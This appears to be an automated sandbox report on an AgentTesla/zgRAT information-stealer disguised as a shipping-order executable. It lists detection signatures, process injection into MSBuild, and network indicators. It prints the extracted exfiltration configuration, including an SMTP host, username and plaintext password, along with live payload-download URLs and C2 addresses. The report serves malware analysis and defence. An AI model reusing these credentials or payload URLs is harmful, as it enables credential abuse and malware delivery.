Edit tour

Windows Analysis Report
ShippingOrder_ GSHS2400052.exe

Overview

General Information

Sample name:	ShippingOrder_ GSHS2400052.exe
Analysis ID:	1429031
MD5:	5a9bf748b2b3431b39e5a8fea6feaa80
SHA1:	08a558eb27295a8e3f70a7a05cf958e2907fd970
SHA256:	3801a5a9dd369ed4fefc953437c2059d00da7b98fabd3ec68262ef48f9718bcf
Tags:	exeShipping
Infos:

Detection

AgentTesla, PureLog Stealer, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected AgentTesla

Yara detected PureLog Stealer

Yara detected zgRAT

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

Allocates memory in foreign processes

Contains functionality to log keystrokes (.Net Source)

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Installs a global keyboard hook

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: Silenttrinity Stager Msbuild Activity

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Outbound SMTP Connections

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

ShippingOrder_ GSHS2400052.exe (PID: 6424 cmdline: "C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.exe" MD5: 5A9BF748B2B3431B39E5A8FEA6FEAA80)

MSBuild.exe (PID: 6816 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

WerFault.exe (PID: 6968 cmdline: C:\Windows\system32\WerFault.exe -u -p 6424 -s 2408 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Host": "mail.iaa-airferight.com", "Username": "mail@iaa-airferight.com", "Password": "Asaprocky11"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
ShippingOrder_ GSHS2400052.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2011142361.0000000013011000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.2043218281.000000001B960000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
00000000.00000002.2043218281.000000001B960000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000001.00000002.4105077153.0000000002B51000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.4105077153.0000000002B51000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000001.00000002.4097776387.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.4097776387.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000001.00000002.4105077153.0000000002B7C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2011142361.0000000013AA1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2011142361.0000000013AA1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2011142361.0000000013031000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2011142361.0000000013031000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2011142361.0000000013031000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.2011142361.0000000013382000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2011142361.0000000013382000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: ShippingOrder_ GSHS2400052.exe PID: 6424	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ShippingOrder_ GSHS2400052.exe PID: 6424	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: MSBuild.exe PID: 6816	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 6816	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 14 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.ShippingOrder_ GSHS2400052.exe.13011a78.8.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.2.ShippingOrder_ GSHS2400052.exe.13011a78.8.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.ShippingOrder_ GSHS2400052.exe.13031ab0.5.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.2.ShippingOrder_ GSHS2400052.exe.13031ab0.5.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.ShippingOrder_ GSHS2400052.exe.1b960000.9.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.2.ShippingOrder_ GSHS2400052.exe.1b960000.9.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.ShippingOrder_ GSHS2400052.exe.1b960000.9.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.2.ShippingOrder_ GSHS2400052.exe.1b960000.9.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.ShippingOrder_ GSHS2400052.exe.13011a78.8.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.2.ShippingOrder_ GSHS2400052.exe.13011a78.8.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.0.ShippingOrder_ GSHS2400052.exe.d00000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
1.2.MSBuild.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.MSBuild.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.2.MSBuild.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x334f7:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33569:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x335f3:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33685:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x336ef:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33761:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x337f7:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33887:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.ShippingOrder_ GSHS2400052.exe.13aa18a8.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.ShippingOrder_ GSHS2400052.exe.13aa18a8.4.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.ShippingOrder_ GSHS2400052.exe.13aa18a8.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x334f7:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33569:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x335f3:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33685:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x336ef:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33761:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x337f7:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33887:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.ShippingOrder_ GSHS2400052.exe.13aa18a8.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.ShippingOrder_ GSHS2400052.exe.13aa18a8.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.ShippingOrder_ GSHS2400052.exe.13047ee8.6.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.ShippingOrder_ GSHS2400052.exe.13047ee8.6.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.ShippingOrder_ GSHS2400052.exe.13aa18a8.4.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x316f7:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31769:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x317f3:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31885:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x318ef:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31961:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x319f7:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31a87:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.ShippingOrder_ GSHS2400052.exe.13047ee8.6.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x316f7:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31769:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x317f3:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31885:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x318ef:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31961:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x319f7:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31a87:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.ShippingOrder_ GSHS2400052.exe.13047ee8.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.ShippingOrder_ GSHS2400052.exe.13047ee8.6.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.ShippingOrder_ GSHS2400052.exe.13047ee8.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x334f7:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33569:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x335f3:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33685:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x336ef:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33761:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x337f7:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33887:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.ShippingOrder_ GSHS2400052.exe.13031ab0.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.ShippingOrder_ GSHS2400052.exe.13031ab0.5.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.2.ShippingOrder_ GSHS2400052.exe.13031ab0.5.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.ShippingOrder_ GSHS2400052.exe.13031ab0.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.ShippingOrder_ GSHS2400052.exe.13031ab0.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x4992f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x499a1:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x49a2b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x49abd:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x49b27:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x49b99:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x49c2f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x49cbf:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.ShippingOrder_ GSHS2400052.exe.13031ab0.5.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x127e1:$s1: file:/// 0x126f1:$s2: {11111-22222-10009-11112} 0x12771:$s3: {11111-22222-50001-00000} 0x1007a:$s4: get_Module 0x1052a:$s5: Reverse 0x466a6:$s5: Reverse 0x12211:$s6: BlockCopy 0x490f7:$s6: BlockCopy 0x4690b:$s7: ReadByte 0x127f3:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
Click to see the 27 entries

Sigma Signatures

System Summary

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 172.67.74.152, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 6816, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49732

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 46.175.148.58, DestinationIsIpv6: false, DestinationPort: 25, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 6816, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49734

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.2.ShippingOrder_ GSHS2400052.exe.13aa18a8.4.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Host": "mail.iaa-airferight.com", "Username": "mail@iaa-airferight.com", "Password": "Asaprocky11"}

Multi AV Scanner detection for domain / URL

Source: playerenterprises.org	Virustotal: Detection: 11%	Perma Link
Source: http://playerenterprises.org	Virustotal: Detection: 11%	Perma Link
Source: https://playerenterprises.org/BaseVirtualEnvironment/6621c520c9ebd.txt0	Virustotal: Detection: 9%	Perma Link
Source: https://playerenterprises.org/BaseVirtualEnvironment/6621c520c9ebd.txt	Virustotal: Detection: 9%	Perma Link
Source: https://playerenterprises.org/BaseVirtualEnvironment/yummy.txt	Virustotal: Detection: 9%	Perma Link

Multi AV Scanner detection for submitted file

Source: ShippingOrder_ GSHS2400052.exe	ReversingLabs: Detection: 34%
Source: ShippingOrder_ GSHS2400052.exe	Virustotal: Detection: 42%			Perma Link

Source: unknown	HTTPS traffic detected: 193.222.96.147:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.4:49732 version: TLS 1.2

Source: ShippingOrder_ GSHS2400052.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\computer\Desktop\Outputs\EemsbncoNl.pdb source: ShippingOrder_ GSHS2400052.exe
Source:	Binary string: System.Xml.ni.pdb source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: System.ni.pdbRSDS source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.PDB source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.1872745020.00000000010F4000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: SymbolDocumentGenerator.pdb source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2011142361.0000000013031000.00000004.00000800.00020000.00000000.sdmp, ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2011142361.0000000013011000.00000004.00000800.00020000.00000000.sdmp, ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2043218281.000000001B960000.00000004.08000000.00040000.00000000.sdmp, WER16C2.tmp.dmp.4.dr
Source:	Binary string: System.pdb0.7 source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: System.Net.Http.pdbMZ source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: .pdbm source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.1872745020.00000000010F4000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdb source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: \??\C:\Windows\symbols\exe\EemsbncoNl.pdbA source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2044055386.000000001C245000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.pdbMZ@ source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: System.Net.Http.pdb source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: EemsbncoNl.pdb source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: C:\Windows\EemsbncoNl.pdbpdboNl.pdb source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2044055386.000000001C245000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\EemsbncoNl.pdb source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2044055386.000000001C227000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.pdb source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: \??\C:\Windows\EemsbncoNl.pdbpdb source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2044055386.000000001C227000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: symbols\exe\EemsbncoNl.pdbb source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.1872745020.00000000010F4000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Xml.pdb source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: System.pdb source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: indoC:\Windows\EemsbncoNl.pdb source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.1872745020.00000000010F4000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: System.Core.ni.pdb source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: 8C:\Windows\EemsbncoNl.pdb source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.1872745020.00000000010F4000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbSystem.Xml.ni.dll source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: mscorlib.pdb` source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: mscorlib.pdb source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: System.Net.Http.ni.pdb source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: mscorlib.ni.pdb source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: System.Configuration.pdbShippingOrder_ GSHS2400052.exemscorlib.dll source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: \??\C:\Users\user\Desktop\EemsbncoNl.pdb source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2044055386.000000001C245000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ShippingOrder_ GSHS2400052.PDB@ source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.1872745020.00000000010F4000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: \??\C:\Windows\symbols\exe\EemsbncoNl.pdb` source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2044055386.000000001C245000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\computer\Desktop\Outputs\EemsbncoNl.pdb931}\ source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2044055386.000000001C1E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\exe\EemsbncoNl.pdb source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2044055386.000000001C227000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: System.Net.Http.ni.pdbRSDS source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: System.ni.pdb source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: \??\C:\Users\user\Desktop\ShippingOrder_ GSHS2400052.PDB source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2044055386.000000001C227000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.ni.pdbRSDS source: WER16C2.tmp.dmp.4.dr
Source:	Binary string: C:\Users\user\Desktop\EemsbncoNl.pdb@ source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.1872745020.00000000010F4000.00000004.00000010.00020000.00000000.sdmp

Networking

Yara detected Generic Downloader

Source: Yara match	File source: ShippingOrder_ GSHS2400052.exe, type: SAMPLE
Source: Yara match	File source: 0.0.ShippingOrder_ GSHS2400052.exe.d00000.0.unpack, type: UNPACKEDPE

Source: global traffic	HTTP traffic detected: GET /BaseVirtualEnvironment/yummy.txt HTTP/1.1Host: playerenterprises.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /BaseVirtualEnvironment/6621c520c9ebd.txt HTTP/1.1Host: playerenterprises.org

Source: Joe Sandbox View	IP Address: 46.175.148.58 46.175.148.58
Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152
Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152

Source: Joe Sandbox View

ASN Name: ASLAGIDKOM-NETUA ASLAGIDKOM-NETUA

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: global traffic

TCP traffic: 192.168.2.4:49734 -> 46.175.148.58:25

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 23.53.13.32
Source: unknown	TCP traffic detected without corresponding DNS query: 23.53.13.32
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /BaseVirtualEnvironment/yummy.txt HTTP/1.1Host: playerenterprises.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /BaseVirtualEnvironment/6621c520c9ebd.txt HTTP/1.1Host: playerenterprises.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: playerenterprises.org

Source: MSBuild.exe, 00000001.00000002.4105077153.0000000002B7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.iaa-airferight.com
Source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.1873279881.0000000003A63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://playerenterprises.org
Source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.1873279881.0000000003001000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.4105077153.0000000002B01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Amcache.hve.4.dr	String found in binary or memory: http://upx.sf.net
Source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2011142361.0000000013AA1000.00000004.00000800.00020000.00000000.sdmp, ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2011142361.0000000013031000.00000004.00000800.00020000.00000000.sdmp, ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2011142361.0000000013382000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.4097776387.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2011142361.0000000013AA1000.00000004.00000800.00020000.00000000.sdmp, ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2011142361.0000000013031000.00000004.00000800.00020000.00000000.sdmp, ShippingOrder_ GSHS2400052.exe, 00000000.00000002.2011142361.0000000013382000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.4097776387.0000000000402000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.4105077153.0000000002B01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: MSBuild.exe, 00000001.00000002.4105077153.0000000002B01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: MSBuild.exe, 00000001.00000002.4105077153.0000000002B01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t
Source: ShippingOrder_ GSHS2400052.exe, 00000000.00000002.1873279881.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://playerenterprises.org
Source: ShippingOrder_ GSHS2400052.exe	String found in binary or memory: https://playerenterprises.org/BaseVirtualEnvironment/6621c520c9ebd.txt
